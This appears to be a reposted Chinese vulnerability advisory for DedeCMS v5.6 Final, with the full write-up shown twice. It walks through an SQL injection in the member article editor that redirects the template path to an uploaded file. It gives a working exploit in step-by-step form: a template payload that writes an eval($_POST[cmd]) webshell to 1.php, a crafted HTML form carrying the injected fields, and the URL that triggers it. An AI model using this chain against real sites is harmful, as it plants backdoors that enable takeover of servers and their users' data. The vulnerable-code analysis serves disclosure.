DEDECMS網(wǎng)站管理系統(tǒng)模板執(zhí)行漏洞(影響版本v5.6)
發(fā)布時間:2011-10-10 01:16:38 作者:佚名
我要評論

DedeCms 基于PHP+MySQL的技術(shù)開發(fā),支持Windows、Linux、Unix等多種服務(wù)器平臺,從2004年開始發(fā)布第一個版本開始,至今已經(jīng)發(fā)布了五個大版本
影響版本:
DEDECMS v5.6 Final
程序介紹:
DedeCms 基于PHP+MySQL的技術(shù)開發(fā),支持Windows、Linux、Unix等多種服務(wù)器平臺,從2004年開始發(fā)布第一個版本開始,至今已經(jīng)發(fā)布了五個大版本。DedeCms以簡單、健壯、靈活、開源幾大特點占領(lǐng)了國內(nèi)CMS的大部份市場,目前已經(jīng)有超過二十萬個站點正在使用DedeCms或居于DedeCms核心,是目前國內(nèi)應(yīng)用最廣泛的php類CMS系統(tǒng)。
漏洞分析:
Dedecms V5.6 Final版本中的各個文件存在一系列問題,經(jīng)過精心構(gòu)造的含有惡意代表的模板內(nèi)容可以通過用戶后臺的上傳附件的功能上傳上去,然后通過SQL注入修改附加表的模板路徑為我們上傳的模板路徑,模板解析類:include/inc_archives_view.php沒有對模板路徑及名稱做任何限制,則可以成功執(zhí)行惡意代碼。
1、member/article_edit.php文件(注入):
//漏洞在member文件夾下普遍存在,$dede_addonfields是由用戶提交的,可以被偽造,偽造成功即可帶入sql語句,于是我們可以給附加表的內(nèi)容進(jìn)行update賦值。
2、include/inc_archives_view.php:
//這是模板處理類,如果附加表的模板路徑存在,直接從附加表取值;GetTempletFile獲取模板文件的方法就是取的此處的模板路徑,從來帶進(jìn)去解析。
漏洞利用:
1.上傳一個模板文件:
注冊一個用戶,進(jìn)入用戶管理后臺,發(fā)表一篇文章,上傳一個圖片,然后在附件管理里,把圖片替換為我們精心構(gòu)造的模板,比如圖片名稱是:
uploads/userup/2/12OMX04-15A.jpg
模板內(nèi)容是(如果限制圖片格式,加gif89a):
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2.修改剛剛發(fā)表的文章,查看源文件,構(gòu)造一個表單:
提交,提示修改成功,則我們已經(jīng)成功修改模板路徑。
3.訪問修改的文章:
假設(shè)剛剛修改的文章的aid為2,則我們只需要訪問:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目錄下生成小馬:1.php
解決方案:
廠商補(bǔ)丁:
DEDECMS
------------
目前廠商還沒有提供補(bǔ)丁或者升級程序,我們建議使用此軟件的用戶隨時關(guān)注廠商的主頁以獲取最新版本:
http://www.dedecms.com/
信息來源: oldjun's Blog
DEDECMS v5.6 Final
程序介紹:
DedeCms 基于PHP+MySQL的技術(shù)開發(fā),支持Windows、Linux、Unix等多種服務(wù)器平臺,從2004年開始發(fā)布第一個版本開始,至今已經(jīng)發(fā)布了五個大版本。DedeCms以簡單、健壯、靈活、開源幾大特點占領(lǐng)了國內(nèi)CMS的大部份市場,目前已經(jīng)有超過二十萬個站點正在使用DedeCms或居于DedeCms核心,是目前國內(nèi)應(yīng)用最廣泛的php類CMS系統(tǒng)。
漏洞分析:
Dedecms V5.6 Final版本中的各個文件存在一系列問題,經(jīng)過精心構(gòu)造的含有惡意代表的模板內(nèi)容可以通過用戶后臺的上傳附件的功能上傳上去,然后通過SQL注入修改附加表的模板路徑為我們上傳的模板路徑,模板解析類:include/inc_archives_view.php沒有對模板路徑及名稱做任何限制,則可以成功執(zhí)行惡意代碼。
1、member/article_edit.php文件(注入):
//漏洞在member文件夾下普遍存在,$dede_addonfields是由用戶提交的,可以被偽造,偽造成功即可帶入sql語句,于是我們可以給附加表的內(nèi)容進(jìn)行update賦值。
PHP Code復(fù)制內(nèi)容到剪貼板
- …
- //分析處理附加表數(shù)據(jù)
- $inadd_f = '';
- if(!emptyempty($dede_addonfields))//自己構(gòu)造$dede_addonfields
- {
- $addonfields = explode(';',$dede_addonfields);
- if(is_array($addonfields))
- {
- print_r($addonfields);
- foreach($addonfields as $v)
- {
- if($v=='')
- {
- continue;
- }
- $vs = explode(',',$v);
- if(!isset(${$vs[0]}))
- {
- ${$vs[0]} = '';
- }
- ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
- $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
- echo $inadd_f;
- }
- }
- }
- …
- if($addtable!='')
- {
- $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";//執(zhí)行構(gòu)造的sql
- if(!$dsql->ExecuteNoneQuery($upQuery))
- {
- ShowMsg("更新附加表 `$addtable` 時出錯,請聯(lián)系管理員!","javascript:;");
- exit();
- }
- }
- …
//這是模板處理類,如果附加表的模板路徑存在,直接從附加表取值;GetTempletFile獲取模板文件的方法就是取的此處的模板路徑,從來帶進(jìn)去解析。
PHP Code復(fù)制內(nèi)容到剪貼板
- …
- //issystem==-1 表示單表模型,單表模型不支持redirecturl這類參數(shù),因此限定內(nèi)容普通模型才進(jìn)行下面查詢
- if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
- {
- if(is_array($this->addTableRow))
- {
- $this->Fields['redirecturl'] = $this->addTableRow['redirecturl'];
- $this->Fields['templet'] = $this->addTableRow['templet'];//取值
- $this->Fields['userip'] = $this->addTableRow['userip'];
- }
- $this->Fields['templet'] = (emptyempty($this->Fields['templet']) ? '' : trim($this->Fields['templet']));
- $this->Fields['redirecturl'] = (emptyempty($this->Fields['redirecturl']) ? '' : trim($this->Fields['redirecturl']));
- $this->Fields['userip'] = (emptyempty($this->Fields['userip']) ? '' : trim($this->Fields['userip']));
- }
- else
- {
- $this->Fields['templet'] = $this->Fields['redirecturl'] = '';
- }
- …
- //獲得模板文件位置
- function GetTempletFile()
- {
- global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
- $cid = $this->ChannelUnit->ChannelInfos['nid'];
- if(!emptyempty($this->Fields['templet']))
- {
- $filetag = MfTemplet($this->Fields['templet']);
- if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
- }
- else
- {
- $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
- }
- $tid = $this->Fields['typeid'];
- $filetag = str_replace('{cid}', $cid,$filetag);
- $filetag = str_replace('{tid}', $tid,$filetag);
- $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
- if($cid=='spec')
- {
- if( !emptyempty($this->Fields['templet']) )
- {
- $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
- }
- else
- {
- $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
- }
- }
- if(!file_exists($tmpfile))
- {
- $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec' ? 'article_spec.htm' : 'article_default.htm');
- }
- return $tmpfile;
- }
1.上傳一個模板文件:
注冊一個用戶,進(jìn)入用戶管理后臺,發(fā)表一篇文章,上傳一個圖片,然后在附件管理里,把圖片替換為我們精心構(gòu)造的模板,比如圖片名稱是:
uploads/userup/2/12OMX04-15A.jpg
模板內(nèi)容是(如果限制圖片格式,加gif89a):
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2.修改剛剛發(fā)表的文章,查看源文件,構(gòu)造一個表單:
XML/HTML Code復(fù)制內(nèi)容到剪貼板
- <form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">
- <input type="hidden" name="dopost" value="save" />
- <input type="hidden" name="aid" value="2" />
- <input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
- <input type="hidden" name="channelid" value="1" />
- <input type="hidden" name="oldlitpic" value="" />
- <input type="hidden" name="sortrank" value="1275972263" />
- <div id="mainCp">
- <h3 class="meTitle"><strong>修改文章</strong></h3>
- <div class="postForm">
- <label>標(biāo)題:</label>
- <input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
- <label>標(biāo)簽TAG:</label>
- <input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗號分開)
- <label>作者:</label>
- <input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
- <label>隸屬欄目:</label>
- <select name='typeid' size='1'>
- <option value='1' class='option3' selected=''>測試欄目</option>
- </select> <span style="color:#F00">*</span>(不能選擇帶顏色的分類)
- <label>我的分類:</label>
- <select name='mtypesid' size='1'>
- <option value='0' selected>請選擇分類...</option>
- <option value='1' class='option3' selected>hahahha</option>
- </select>
- <label>信息摘要:</label>
- <textarea name="description" id="description">1111111</textarea>
- (內(nèi)容的簡要說明)
- <label>縮略圖:</label>
- <input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);" maxlength="100" class="intxt"/>
- <input type='text' name='templet'
- value="../ uploads/userup/2/12OMX04-15A.jpg">
- <input type='text' name='dede_addonfields'
- value="templet,htmltext;">(這里構(gòu)造)
- </div>
- <!-- 表單操作區(qū)域 -->
- <h3 class="meTitle">詳細(xì)內(nèi)容</h3>
- <div class="contentShow postForm">
- <input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
- <label>驗證碼:</label>
- <input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
- <img src="http://127.0.0.1/dede/include/vdimgck.php" alt="看不清?點擊更換" align="absmiddle" style="cursor:pointer" onclick="this.src=this.src+'?'" />
- <button class="button2" type="submit">提交</button>
- <button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>
- </div>
- </div>
- </form>
3.訪問修改的文章:
假設(shè)剛剛修改的文章的aid為2,則我們只需要訪問:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目錄下生成小馬:1.php
解決方案:
廠商補(bǔ)丁:
DEDECMS
------------
目前廠商還沒有提供補(bǔ)丁或者升級程序,我們建議使用此軟件的用戶隨時關(guān)注廠商的主頁以獲取最新版本:
http://www.dedecms.com/
信息來源: oldjun's Blog
相關(guān)文章
thinkphp代碼執(zhí)行g(shù)etshell的漏洞解決
本文來介紹一下thinkphp官方修復(fù)的一個getshell漏洞,框架對控制器沒有進(jìn)行足夠的檢測導(dǎo)致的一處getshell,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實網(wǎng)絡(luò)攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實網(wǎng)絡(luò)攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點服務(wù)端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實例分析,需要的朋友可以參考下2017-05-19
ASP+PHP 標(biāo)準(zhǔn)sql注入語句(完整版)
這里為大家分享一下sql注入的一些語句,很多情況下由于程序員的安全意識薄弱或基本功不足就容易導(dǎo)致sql注入安全問題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學(xué)2017-05-19- 對于目前流行的sql注入,程序員在編寫程序時,都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會自動的記錄下你的IP地址,提交的非法參數(shù)和動作等,2017-04-29
XSS繞過技術(shù) XSS插入繞過一些方式總結(jié)
我們友情進(jìn)行XSS檢查,偶然跳出個小彈窗,其中我們總結(jié)了一些平時可能用到的XSS插入方式,方便我們以后進(jìn)行快速檢查,也提供了一定的思路,其中XSS有反射、存儲、DOM這三類2016-12-27- 這篇文章主要介紹了Python 爬蟲使用動態(tài)切換ip防止封殺的相關(guān)資料,需要的朋友可以參考下2016-10-08
- 這篇文章主要介紹了使用爬蟲采集網(wǎng)站時,解決被封IP的幾種方法的相關(guān)資料,需要的朋友可以參考下2016-10-08